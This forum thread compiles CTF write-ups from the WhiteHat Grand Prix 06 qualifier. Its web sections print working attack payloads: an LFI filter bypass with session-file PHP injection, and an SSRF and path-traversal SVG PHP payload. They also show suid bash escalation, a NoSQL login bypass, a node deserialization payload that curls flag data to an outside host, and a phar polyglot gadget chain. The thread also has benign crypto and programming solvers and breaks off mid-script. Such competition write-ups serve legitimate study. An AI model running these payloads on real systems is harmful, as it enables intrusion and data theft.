Tổng hợp Write-up cuộc thi WhiteHat Grand Prix 06 - Vietnam Today - Vòng sơ loại

WhiteHat News #ID:2018

WhiteHat Support
20/03/2017
129
443 bài viết
Tổng hợp Write-up cuộc thi WhiteHat Grand Prix 06 - Vietnam Today - Vòng sơ loại
Chào các bạn, WhiteHat Grand Prix 06 – Vietnam Today vòng sơ loại đã kết thúc. Cuộc thi năm nay thu hút số đội tham gia kỷ lục với 739 đội đến từ 84 quốc gia trên toàn thế giới, trong đó có 600 đội thi quốc tế. Trong 24h diễn ra cuộc thi đã có 2.505 lần submit lên hệ thống với tổng số lượt bài được giải là 628.

WHGP_challenge.PNG
Ban tổ chức tạo topic này để các đội chơi và các bạn thành viên chia sẻ các writeup của đội mình sau cuộc thi, qua đó giúp cộng đồng có thêm các kiến thức bổ ích.

WhiteHat Grand Prix 06 – Vietnam Today gồm 20 challenge:

PROGRAMING (03 bài)

1. Programing 01

2. Programing 02

3. Programing 03

WEB SECURITY (5 bài)

1. Web01

2. Web02

3. Web03

4. Web04

5. Web05

CRYPTOGRAPHY (3 bài)

1. Crypto 01

2. Crypto 02

3. Crypto 03

PWNABLE (3 bài)

1. Pwn01

2. Pwn02

3. Pwn03

REVERSE ENGINEERING (2 bài)

1. Re01

2. Re02

MISC (4 bài)

1. Misc 01

2. Misc 02

3. Misc 03

4. Misc 04

Xin cảm ơn các bạn!
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: whf
prog01 | Team: perfect blue

upload_2020-1-14_23-25-31.png
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
prog02 | Team: perfect blue

In this challenge, we are asked to find the number of passwords that can be generated using this numpad:

Mã:
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 4 | 5 | 6 |
+---+---+---+
| 7 | 8 | 9 |
+---+---+---+
| * | 0 | # |
+---+---+---+

We are restricted by certain rules:
  1. The password has length of n
  2. The password must end with either *, 8 or #.
  3. After one character, the character which is on the knight move pattern (as the knight in chess) can be the next character. For example, if the current character is 3, then the next character can be either 4 or 8.
We can treat this numpad as a graph, with the nodes being the numbers and there being a edge between two numbers if we can move from one number to another using a knights move pattern. The answer is the number of (n-1)-length walks from each vertex to one of the special vertices (*, 8 or #).

To calculate this number, we can generate a adjacency matrix of the graph and raise it to the (n-1)th power modulo 1e16. The value at
upload_2020-1-14_23-40-26.png
will be the number of passwords of length n which start at i and end at j. So we can add up the columns for our special verices to get the answer.

We can write a quick script in sage to interact with the remote and solve the challenges.

Mã:
from sage.all import *

def conv(i, j):
    return i * 3 + j

a = []

for i in range(4):
    for j in range(3):
        curr = []
        for k in range(4):
            for l in range(3):
                if (abs(i-k) == 2 and abs(j-l) == 1) or (abs(i-k) == 1 and abs(j-l) == 2):
                    curr.append(1)
                else:
                    curr.append(0)
        a.append(curr)

mod_num = 10**39

print a
M = Matrix(IntegerModRing(mod_num), a)

flag = ''

proc = remote('15.165.30.141', 9399)
while True:
    proc.recvuntil("n = ")
    curr_n = int(proc.recvline().strip())
    sice = M**(curr_n-1)

    ans = 0

    for j in range(12):
        ans += sice[conv(3, 0)][j]
        ans += sice[conv(2, 1)][j]
        ans += sice[conv(3, 2)][j]

    ans = ans % mod_num
    print ans
    proc.recvuntil("Answer: ")
    proc.sendline(str(ans))
    reward = proc.recvline().strip()
    print reward
    flag += reward[-1]
    print flag

Running this goes through all the questies and gives us the flag:

Mã:
$ sage -python solve.sage
[[0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1], [1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0], [0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1], [1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0]]
[+] Opening connection to 15.165.30.141 on port 9399: Done
6552
Thank you <3 Here is your reward: W
W
565482
Thank you <3 Here is your reward: h
Wh
186
Thank you <3 Here is your reward: i
Whi
1102
Thank you <3 Here is your reward: t
Whit
.
.
.
Thank you <3 Here is your reward: <
WhiteHat{S0_many_p4ssw0rd_uhuhu_giveup_already_:<
912219433891006851086847902654884262008
Thank you <3 Here is your reward: }
WhiteHat{S0_many_p4ssw0rd_uhuhu_giveup_already_:<}
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
prog03 | Team: perfect blue

In this challenge, we are give two random boolean expressions, and are asked to evaluate if they are equivalent:

Mã:
Given two expressions, are they equal? Enter either [YES/NO]
E1: ~(A+A)
E2: (~A)
>

They start off simple, but we can assume that it will get much more complex towards the end, so we have to write a solver for this. SAT Solvers can easily do this for us. We need to parse the equations into the format for the SAT solver and then check if they are equivalent or not.

If you are stupid like me and do not know that there exist libraries that can do this for you, you can waste time writing a stack based parse for the infix operations, and lose first blood. See parse_expr in solve.py for how it is done. Once we have the expression parsing implemented, we can give it to a SAT solver and ask it to check if they are different or not.

Mã:
while True:
    e1 = proc.recvline().strip().split(": ")[1]
    e2 = proc.recvline().strip().split(": ")[1]
    print e1
    print e2

    z1 = parse_expr(e1)
    z2 = parse_expr(e2)
    print z1
    print z2
    s = Solver()
    s.add(z1 != z2)
    if s.check() == unsat:
        print "YES"
        proc.sendline("YES")
    else:
        print "NO"
        proc.sendline("NO")
    print proc.recvline()

We tell the SAT solver that the two expressions are not equivalent to each other and make it find a example that fits the case, if it cannot do so, we know that the there is no assignment of variables that will make it different, so they are indeed equivalent.

We can run this and get the flag.

Mã:
> Very well, you've done it the right way! Your flag is: WhiteHat{BO0l3_1s_s1MpL3_f0R_Pr0gR4mM3R}

solve.py

Mã:
from pwn import *
from z3 import *

bool_vals = {}

for c in string.uppercase:
    bool_vals[c] = Bool(c)
bool_vals['1'] = True
bool_vals['0'] = False

ops = ['+', '*', '~']

# def parse_expr(e):
#     if e[0] == '~' and e[1] == '(':
#         assert e[-1] == ')'
#         return Not(parse_expr(e[1:-1]))
#     curr_val = None
#     if e[0] == '~' and e[1] in bool_vals.keys():
#         curr_val = Not(bool_vals[e[1]])
#     elif e[0] in bool_vals:
#         curr_val = bool_vals[e[0]]

def calc(op, num1, num2):
    if op == '~':
        assert num1 is None
        return Not(num2)
    if op == '+':
        return Or(num1, num2)
    if op == '*':
        return And(num1, num2)
    assert False

def parse_expr(expr):
    expr = list(expr)
    stackChr = list() # character stack
    stackNum = list() # number stack
    while len(expr) > 0:
        c = expr.pop(0)
        if c in bool_vals:
            stackNum.append(bool_vals[c])
        elif c in ops:
            while True:
                if len(stackChr) > 0: top = stackChr[-1]
                else: top = ""
                if top in ops:
                    if c != "~":
                        num2 = stackNum.pop()
                        op = stackChr.pop()
                        num1 = None
                        if op == '+' or op == '*':
                            num1 = stackNum.pop()
                        stackNum.append(calc(op, num1, num2))
                    else:
                        stackChr.append(c)
                        break
                else:
                    stackChr.append(c)
                    break
        elif c == "(":
            stackChr.append(c)
        elif c == ")":
            while len(stackChr) > 0:
                c = stackChr.pop()
                if c == "(":
                    break
                elif c in ops:
                    num2 = stackNum.pop()
                    num1 = None
                    if c == '+' or c == '*':
                        num1 = stackNum.pop()
                    stackNum.append(calc(c, num1, num2))

    while len(stackChr) > 0:
        c = stackChr.pop()
        if c == "(":
            break
        elif c in ops:
            num2 = stackNum.pop()
            num1 = None
            if c == '+' or c == '*':
                num1 = stackNum.pop()
            stackNum.append(calc(c, num1, num2))

    return stackNum.pop()


# import ipdb
# ipdb.set_trace()
# print parse_expr("~(A*~A)")
# exit()

proc = remote('52.78.36.66', 82)
proc.recvuntil("[YES/NO]\n")

while True:
    e1 = proc.recvline().strip().split(": ")[1]
    e2 = proc.recvline().strip().split(": ")[1]
    print e1
    print e2

    z1 = parse_expr(e1)
    z2 = parse_expr(e2)
    print z1
    print z2
    s = Solver()
    s.add(z1 != z2)
    if s.check() == unsat:
        print "YES"
        proc.sendline("YES")
    else:
        print "NO"
        proc.sendline("NO")
    print proc.recvline()
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
web01 | Team: perfect blue

Recon
This challenge introduces two bugs, one of which leads to solution: There's SSRF and LFI in page parameter.

After trying multiple files, we realised that there's some sort of filtering in place that prevents directly including files such as /etc/passwd.

To bypass filter we use /./ prefix to path. This way it's possible to dump /etc/passwd. Example: http://15.165.80.50/?page=/./etc/passwd

Getting RCE
First thing I enumerated was /proc/self/fd/X where X corresponds to file descriptor. On file descriptor 11 there was a session file that contained our username. Assuming the file is getting included and not just printed out, I tried to include php shell in the username and that worked.

Final steps:
  1. Register user with php code in name
  2. login
  3. include /./proc/self/fd/11 (http://15.165.80.50/?page=/./proc/self/fd/11)
Flag
WhiteHat{Local_File_Inclusion_bad_enough_??}
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
web02 | Team: perfect blue

This was an interesting challenge. We are only provided with a link to a website and no source code.


The webapp is essentially a post service with image uploads. You can upload a "featured image" and create a post referencing that image.

upload_2020-1-14_23-53-57.png

upload_2020-1-14_23-54-57.png
Visiting the post.php directly revealed the source code

Mã:
<?php
require_once('header.php');
require_once('db.php');

$post = [];

function rotate_feature_img($post_id, $degrees) {
    $post = get_post($post_id);
    $src_file = $post['feature_img'];
    $ext = strtolower(pathinfo($src_file, PATHINFO_EXTENSION));
  
    $src_file = "uploads/" . $src_file;
    if ( !file_exists( $src_file ) ) {
        $base_url = "http://" . $_SERVER['HTTP_HOST'];
        $src = $base_url. "/" . $src_file;
    } else {
        $src = $src_file;
    }
    try {
        $img = new Imagick($src);
        $img->rotateImage('white', $degrees);
    } catch (Exception $e) {
        die('fail to rotate image');
    }
    @mkdir(dirname($src_file));
    @$img->writeImage($src_file);
}

function get_title() {
    global $post;
    echo $post['title'];
}

function get_body() {
    global $post;
    echo $post['body'];
}

function get_img_src() {
    global $post;
    $base_url = "http://" . $_SERVER['HTTP_HOST'];
    echo $base_url."/uploads/".$post['feature_img'];
}

function check_theme($theme) {
    if(!in_array($theme, scandir('./themes'))) {
        die("Invalid theme!");
    }
}

if (isset($_GET['post_id'])) {
    require_once('post_header.php');
  
    $post_id = $_GET['post_id'];
    global $post;
    $post = get_post($post_id);
    if (isset($_GET['theme'])) {
        $theme = $_GET['theme'];
    } else {
        $theme = 'theme1.php';
    }
    check_theme($theme);
    include('themes/'.$theme);
    echo("<button class='btn btn-primary' id='edit-btn'>Edit image</button>
<form action='post.php' method='post' width='50%'>
    <div class='form-group' id='edit-div'>
    <label for='exampleInputEmail1'>Degree</label>
    <input type='text' class='form-control' id='exampleInputEmail1' placeholder='90' name='degree'>
    <input type='hidden' class='form-control' id='exampleInputEmail2' value='$post_id' name='post_id'>
    <button type='submit' class='btn btn-primary'>Rotate</button>
  </div>");
    require_once('post_footer.php');
}
else if (isset($_POST['post_id']) && isset($_POST['degree'])) {
    $post_id = $_POST['post_id'];
    rotate_feature_img($post_id, (int) $_POST['degree']);
    header("Location: /post.php?post_id=$post_id&theme=theme1.php");
} else {
    show_source('post.php');
}

require_once('footer.php');
?>

The interesting functionality here is we can rotate an image. The bug lies in the function:

Mã:
function rotate_feature_img($post_id, $degrees) {
    $post = get_post($post_id);
    $src_file = $post['feature_img'];
    $ext = strtolower(pathinfo($src_file, PATHINFO_EXTENSION));
  
    $src_file = "uploads/" . $src_file;
    if ( !file_exists( $src_file ) ) {
        $base_url = "http://" . $_SERVER['HTTP_HOST'];
        $src = $base_url. "/" . $src_file;
    } else {
        $src = $src_file;
    }
    try {
        $img = new Imagick($src);
        $img->rotateImage('white', $degrees);
    } catch (Exception $e) {
        die('fail to rotate image');
    }
    @mkdir(dirname($src_file));
    @$img->writeImage($src_file);
}

Basically it checks if the image we are rotating exists on the server, otherwise it gets it from a remote server based on the HTTP_HOST, which we can control.

It then writes it to the the "$src_file" location and since we control that based on the feature_img, we can traverse it and make it write a file in the themes folder.

The file written in the themes folder can be later loaded:

Mã:
    if (isset($_GET['theme'])) {
        $theme = $_GET['theme'];
    } else {
        $theme = 'theme1.php';
    }
    check_theme($theme);
    include('themes/'.$theme);

The image is rotated before getting saved, so I just used a svg with a text tag to preserve the php code after rotation.
svg
Mã:
<?xml version="1.0" encoding="UTF-8"?>
<svg width="17px" height="17px">
    <text>&lt;?php echo "hacked";echo file_get_contents("/flag.txt"); ?&gt;</text>
</svg>

The exploit was basically:
  • Create an post with the "Featured Image" set to ../themes/jazzyhack
  • Rotate the image with a custom Host header and have the payload hosted at /themes/jazzyhack on the Host header domain you used.
Mã:
curl 'http://52.78.36.66:81/post.php' -H 'Host: domain.com' --data 'degree=90&post_id=ZkXXHLCW'

(with the payload hosted at domain.com/themes/jazzyhack)

Now just load the theme jazzyhack and you have arbitrary php code execution.

upload_2020-1-15_0-9-17.png
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
web03 | Team: perfect blue

Ruby on Rails challenge. There's a known CVE that we use to gain shell (https://github.com/mpgn/Rails-doubletap-RCE).

After getting a shell we see that the flag is owned by root. The bash on system is has suid bit set that allows us to get root shell. By default bash drops privileges unless explicitly asked not to.

Mã:
bash-4.4$ /bin/bash -p
/bin/bash -p
bash-4.4$ id
id
uid=999(trex) gid=999(trex) euid=998(sauropod) egid=998(sauropod) groups=998(sauropod)
bash-4.4$ cat /flag.txt
cat /flag.txt
WhiteHat{do_not_push_secret_keys_in_rails}
bash-4.4$

Flag
WhiteHat{do_not_push_secret_keys_in_rails}
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
web04 | Team: perfect blue

NoSQL

A nodejs application that first introduces a NoSQL injection in login page. We can bypass authentication by using username[$ne]=test&password[$ne]=test in the POST data when logging in.

RCE
We continue to enumerate users until we find user with admin permissions. This user was itachi.

After logging in to this account we see new endpoint called /checktoken This endpoint accepts base64 encoded data to it. Example content:

Mã:
{"cookie":{"path":"/","_expires":null,"originalMaxAge":null,"httpOnly":true},"islogin":true,"isadmin":true,"username":"itachi","email":"[email protected]","slogan":"Try Hard!!","country":"US"}

Since we had no source, we tried different options on how to proceed from here. The working solution was to try deserialization payload, which surprisingly worked.

The data that is passed to the endpoint now looks like this:

Mã:
{"cookie":{"rce":"_$$ND_FUNC$$_function (){/* JS CODE HERE */}()"},"islogin":true,"isadmin":true,"username":"itachi","email":"[email protected]","slogan":{"$ne":"Try Hard!!"},"country":{"toString":"XXXX"}}

After trying some javascript code we see that some functions are blacklisted, for example exec function. This is not a big deal, as the spawn function is allowed. The final payload that was used for flag exfiltration is shown below:

Mã:
{"cookie":{"rce":"_$$ND_FUNC$$_function (){\n \t throw require('child_process').spawn('bash', ['-c','curl https://enlo143u2fju.x.pipedream.net/$(grep -rain whitehat|base64 -w0)']);\n }()"},"islogin":true,"isadmin":true,"username":"itachi","email":"[email protected]","slogan":{"$ne":"Try Hard!!"},"country":{"toString":"XXXX"}}

Flag
WhiteHat{Good_Boy_Nodejs_Unserialize}
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
web05 | Team: perfect blue

The challenge has source code (luckily).

We can trigger deserialization because of following vulnerable code:

Mã:
        try {
            if ($imageInfo['Height'] && $imageInfo['Width']) {
                $height = $imageInfo['Height'];
                $width = $imageInfo['Width'];
            } else {
                list($width, $height) = getimagesize($image);
            }

getimagesize() accepts attacker controllable URI. If we pass phar:// scheme it would trigger phar deserialization.

One more thing we need to care of is our phar archive must be a valid image (or at least look like it). There's a known solution for this problem.

The server uses http guzzle that again, fortunately for us, has needed gadget achieve RCE on the server. The php-ggc framework contains a generator code that is changed so that it would generate phar/image polyglot.

The modified code is shown below:

Mã:
<?php

namespace GadgetChain\Guzzle;

class FW1 extends \PHPGGC\GadgetChain\FileWrite
{
    public static $version = '6.0.0 <= 6.3.3+';
    public static $vector = '__destruct';
    public static $author = 'cf';

    public function generate(array $parameters)
    {
        $path = $parameters['remote_path'];
        $data = $parameters['data'];
        $a =  new \GuzzleHttp\Cookie\FileCookieJar($path, $data);
        //unlink('pwn.phar');
        $p = new \Phar('pwn.phar', 0);
        $p['file.txt'] = 'test';
        $p->setMetadata($a);
        $p->setStub("\xff\xd8\xff\xe0\x0a<?php __HALT_COMPILER(); ?>");
    }
}

We upload this "image" to server and record the path. Then we generate html page that would point to it.

HTML:
<html>
<head></head>
pwn image here
<img src=phar:///app/upload/af55k6peln8ni9270eut7i8uqr/73f2a4aa40cf38e647d802bc.jpg>
<body></body>
</html>

Then we fetch image from our server and get RCE.

Flag

WhiteHat{ph4r_d3_w1th_4_t1ny_b4ck_do0r_7fc88491}


 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
crypto01 | Team: perfect blue

This problem provides you with some generated message that you have to decrypt, and an encrypt oracle. At some point you can provide the message and decrypt it, and at that point, if it is correct, you get the flag.

We first note that encrypting a letter, vs a number, vs a symbol yields different size hex strings, and each hex string corresponds to a character. This means that most of the bytes in this hex string is useless junk.

My hypothesis was that perhaps a certain subset of bits actually determine what letter it is. To verify that, I encrypted 'A' some number of times, then encrypted 'B'. Based on my hypothesis, bytes that differ at each iteration of encrypting 'A' is just noise, and the bytes that didn't change at all between both 'A' and 'B' are also ignored.

By making a few tests, we also noticed consistent format in the chaos strings: the hex strings can be divided into pairs, separated by 2f or '/'. Each pair has the same two hex strings (so the corresponding 2-byte coding is the same). Effectively, a letter has 4 bytes of entropy. We noticed that for upper case letters, the 2nd byte is same across all 'A's, but different for 'B'. For lower case, we find it to be the third pair. For symbols, it is the first pair, and numbers, it is also the third pair. Numbers has 3 pairs, while symbols have 5 pairs.

Next we observe that the position also changes those respective values.

Unfortunately the mapping between position, letters, actual byte value is varied (i.e. there's no consistent pattern, and it changes each time), and the relationship can be linear or some other crazy relation. For simplicity, we just brute all the letters, symbols, and numbers at all positions.

Here is the solve script for this cancerous crypto challenge.

Mã:
from pwn import *

p = remote('15.164.159.194', 8006)


p.recvuntil('key: ')
key = p.recvline().strip().split(' ')

timedelay = .3
chunks = 10
def bulk_enc(msgs):
    p.recvuntil('choice: ')

    ret = []
    for off in range(0, len(msgs), chunks):
        tmp = msgs[off:off+chunks]
        for m in tmp:
            print(m)
            p.sendline('1')
            sleep(timedelay)
            p.sendline(m)
            sleep(timedelay)

        for m in tmp:
            p.recvuntil('message: ')
            ret.append(p.recvline().strip().split(' '))
    return ret
        

def enc(msg):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('message: ')
    p.sendline(msg)

def getflag(key):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('flag: ')
    p.sendline(key)
    p.interactive()


syms = 0
upper = 6
lower = 12
numbr = 12

syms_len = 28
let_len = 22
num_len = 16

m_syms = [{} for i in range(64)]
m_uppers = [{} for i in range(64)]
m_lowers = [{} for i in range(64)]
m_numbs = [{} for i in range(64)]

def tabular(tbl, loc, lets):
    encs = bulk_enc([x * 64 for x in lets])
    for chaos, x in zip(encs, lets):
        y = [v[loc:loc+2] for v in chaos]
        for i in range(64):
            tbl[i][y[i]] = x

tabular(m_uppers, upper, 'AAAABCDEFGHIJKLMNOPQRSTUVWXYZ')
tabular(m_lowers, lower, 'aaaaaaabcdefghijklmnopqrstuvwxyz')
tabular(m_syms, syms, '~`!@#$%^&*()_-+=<,>.?|~')
tabular(m_numbs, numbr, '1234567890')

def decode(pos, codepoint):
    if len(codepoint) == syms_len:
        return m_syms[pos][codepoint[syms:syms+2]]
    elif len(codepoint) == num_len:
        return m_numbs[pos][codepoint[numbr:numbr+2]]
    else:
        assert len(codepoint) == let_len
        up = codepoint[upper:upper+2]
        low = codepoint[lower:lower+2]
        if int(codepoint[18:20], 16) & 0x20 != 0: # lowercase
            return m_lowers[pos][low]
        else:
            return m_uppers[pos][up]


key2 = ''.join([decode(i, cp) for i, cp in enumerate(key)])
print(key2)

getflag(key2)
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
crypto02 | Team: perfect blue

In this challenge, we have a secret question that is first base64-encoded and then encrypted using AES-CTR and sent to us. We then have to answer this question to get the flag.

Mã:
def encrypt(s, nonce):
        s = b64encode(s)
        crypto = AES.new(key, AES.MODE_CTR, counter=lambda: nonce)
        return b64encode(crypto.encrypt(s))

The AES-CTR implementation uses lambda: nonce as the counter, which means that it will use the same nonce for every block. This means, we essentially have a repeating xor with a 16-byte key.

We cannot use normal crib dragging techniques here as the plaintext is base64-encoded first. The nonce is also randomly generated every time we get a new question, so we have to treat each question as a independent problem. This also means we can only answer the question we last asked for. We have a wrong decryption oracle here, which means we can send arbitrary ciphertext and know if it was correct or not.

Using all these knowledge, I tried to reduce the keyset by exploiting the property that the plaintext was a base64 encoded string.

Mã:
charset = '=+/0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'

key_sice = []

for i in range(16):
    sice = []
    for j in range(256):
        corr = True
        for k in range(i, len(enc), 16):
            if xor(enc[k], chr(j)) not in charset:
                corr = False
                break
        if corr:
            sice.append(j)
    print sice
    key_sice += [sice]

First, for each character of the 16 byte key, we try all possible values from 0 to 256 and find the values which decrypt the ciphertext to a valid base64 character in the positions where the key is repeated. This reduces our search space for each byte by almost 1/4 th.

Next we use the property that, every 4 contiguous base64 characters are converted to 3 bytes of actual data. This means, we can group the key bytes into groups of 4, and try all possible combinations of making these 4 groups. For each possible key group, we use it to decode the ciphertext into some base64 data, which we try to decode. If it succesfully decodes into printable english characters, then we add the key combination to our options.

Mã:
charset2 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[]^_`{|}~ '

opts = []
for i in range(0, 16, 4):
    curr_opts = []
    print i
    curr_keys = key_sice[i:i+4]
    for comb in itertools.product(*curr_keys):
        corr = True
        for j in range(i, len(enc)/16 * 16, 16):
            curr_block = enc[j:j+4]
            curr_dec = None
            try:
                curr_dec = b64decode(xor(curr_block, ''.join(map(chr, comb))))
            except TypeError:
                corr = False

            if corr == False:
                break

            corr_2 = True
            for c in curr_dec:
                if c not in charset2:
                    corr_2 = False
                    break
            if not corr_2:
                corr = False
                break
        if corr:
            curr_opts.append(comb)
    print len(curr_opts)
    opts.append(curr_opts)
    print ""

Once we have a set of key groups, ie key options for [0:4], [4:8], [8:12], [12:16], we can combine all of those to generate all possible valid keys, and use those to decrypt the entire plaintext. Now, this will obviously generate a lot of keys, so we have to use some heuristics to reduce our keyspace. At first I tried picking around 10-20 random keys from the keyspace and using them to decrypt the ciphertext. From this I noticed that many of the decrypted plaintexts had curly braces at the beginning or the end. I took an educated guess that the original question was a json object and added checks in my second key-group brute to make sure the first and the last block would have the curly braces ensuring JSON object.

Mã:
            if j == 0 and curr_dec[:2] != '{"':
                corr_2 = False
            if j == 92 and curr_dec[-2:] != '"}':
                corr_2 = False
Using this reduced my keyspaces further, but I still had a lot of keys and no good way of determining the correct one. So I went back to my random decryption method, and noticed a number of plaintexts had a misspelling the word "answer" with different cases in them. So I tried to look for plaintexts which had answer as a key in the JSON object.

Mã:
for key_comb in itertools.product(*opts):
    test_key = []
    for i in range(4):
        test_key += list(key_comb[i])
    dec_b64 = xor(enc, ''.join(map(chr, test_key)))
    dec = b64decode(dec_b64)
    if '"answer=' in dec:
        print repr(dec)

We have to try this on multiple ciphertexts, because often our checks are too strong and it does not find any good keys, or it finds too many possible keys and it is not feasible for us to go through all the key combinations. After a couple of tries, we find a ciphertext that hits the sweet spot, and we get a large number of valid ciphertexts.

Mã:
0
32

4
175

8
220

12
2

Total:  2464000
'{"a":593e0,"b":9157<a"y":16085,%>m":"yf05j"(kZ":1495,"atk:"answer=a*3"}'
'{"a":593j0,"b":9157<n"y":16085,%:m":"yf05j"(hZ":1495,"ath:"answer=a* "}'
'{"a":595%0,"b":91577!"y":16085,#~m":"yf05j"++Z":1495,"ar+:"answer=a+s"}'
'{"a":59500,"b":91577,"y":16085,#tm":"yf05j"+"Z":1495,"ar":"answer=a+Z"}'
'{"a":595-0,"b":91577)"y":16085,#wm":"yf05j"+#Z":1495,"ar#:"answer=a+["}'
'{"a":595+0,"b":91577/"y":16085,#ym":"yf05j"+%Z":1495,"ar%:"answer=a+]"}'
.
.
.

As we can see, these look almost like valid JSON with some typos in it. So we can filter the ciphertexts even more by printing the ones that are valid JSON.

Mã:
    if '"answer=' in dec:
        try:
            json.loads(dec)
            print repr(dec)
        except ValueError:
            pass

Using this, we find the right plaintext:

Mã:
0
32

4
175

8
220

12
2

Total:  2464000
'{"a":59400,"b":91578,"y":16085,"tm":"yf05j","Z":1495,"as":"answer=a*Z"}'

We can now submit this answer to the remote and get the flag:

Mã:
Your choice: 1
 iMeec1JxJBSHe4zO8wdMmrTXnS1UTw4UhlW6yvcqUJqi1JEpVl8sFIRsl4ncF3LFpNC4dlZfHVSBRqrQ6S1yxaDqhS5VSDxMkXeQ0PEtcZuP0JooQUMCHJF8rdj3KgvO
1. Get challenge
2. Solve challenge
Your choice: 2
 Your question: iMeec1JxJBSHe4zO8wdMmrTXnS1UTw4UhlW6yvcqUJqi1JEpVl8sFIRsl4ncF3LFpNC4dlZfHVSBRqrQ6S1yxaDqhS5VSDxMkXeQ0PEtcZuP0JooQUMCHJF8rdj3KgvO
 Your answer: 88803000
 Right! Here is your flag: w0rk_sm4ter_n0t_h4rd3r_!@&#^!!!
1. Get challenge
2. Solve challenge
Your choice:

solve.py

Mã:
# from Crypto.Cipher import AES
import itertools
import random
from base64 import b64encode, b64decode
import os
from pwn import xor
import string
import json

# key = "A" * 16
# nonce = os.urandom(16)
# nonce = 'Ewst\x00n\xbf\xbe\x8c?\x1f=\x1c\x8d\xed\xfa'
# msg = "The quick brown fox jumped over the lazy dog. Lorem ipsum dolor sit amet."
# print b64encode(msg)
# ctrkey = map(ord, AES.new(key, AES.MODE_CTR, counter=lambda: nonce).encrypt("\x00" * 16))
# print ctrkey

charset = '=+/0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
charset2 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[]^_`{|}~ '

def encrypt(s):
    s = b64encode(s)
    crypto = AES.new(key, AES.MODE_CTR, counter=lambda: nonce)
    return crypto.encrypt(s)

def decrypt(s):
    crypto = AES.new(key, AES.MODE_CTR, counter=lambda: nonce)
    return b64decode(crypto.decrypt(s))

# enc = encrypt(msg)
# enc = b64decode("DoYgtr6+k1wmoikbCt8Y0zryLK++sY8bIrYlGCfPY90Clhm9lcWPASScJVki3wfNOoYO7JKllwYlxwQcCt0q3DusHq6+sbkaJMYxHQrfANw6hnGjvr6bHSO2JQEhzwSaFKZ15w==")
enc = b64decode("iMeec1JxJBSHe4zO8wdMmrTXnS1UTw4UhlW6yvcqUJqi1JEpVl8sFIRsl4ncF3LFpNC4dlZfHVSBRqrQ6S1yxaDqhS5VSDxMkXeQ0PEtcZuP0JooQUMCHJF8rdj3KgvO")
# '{"a":59400,"b":91578,"y":16085,"tm":"yf05j","Z":1495,"as":"answer=a*Z"}'
print len(enc)
assert len(enc) == 96

key_sice = []

for i in range(16):
    sice = []
    for j in range(256):
        corr = True
        for k in range(i, len(enc), 16):
            if xor(enc[k], chr(j)) not in charset:
                corr = False
                break
            # if xor(enc[k], chr(j)) == '=' and k < len(enc)-2:
            #     corr = False
            #     break
        if corr:
            sice.append(j)
    print sice
    key_sice += [sice]

opts = []
for i in range(0, 16, 4):
    curr_opts = []
    print i
    curr_keys = key_sice[i:i+4]
    for comb in itertools.product(*curr_keys):
        corr = True
        for j in range(i, len(enc)/16 * 16, 16):
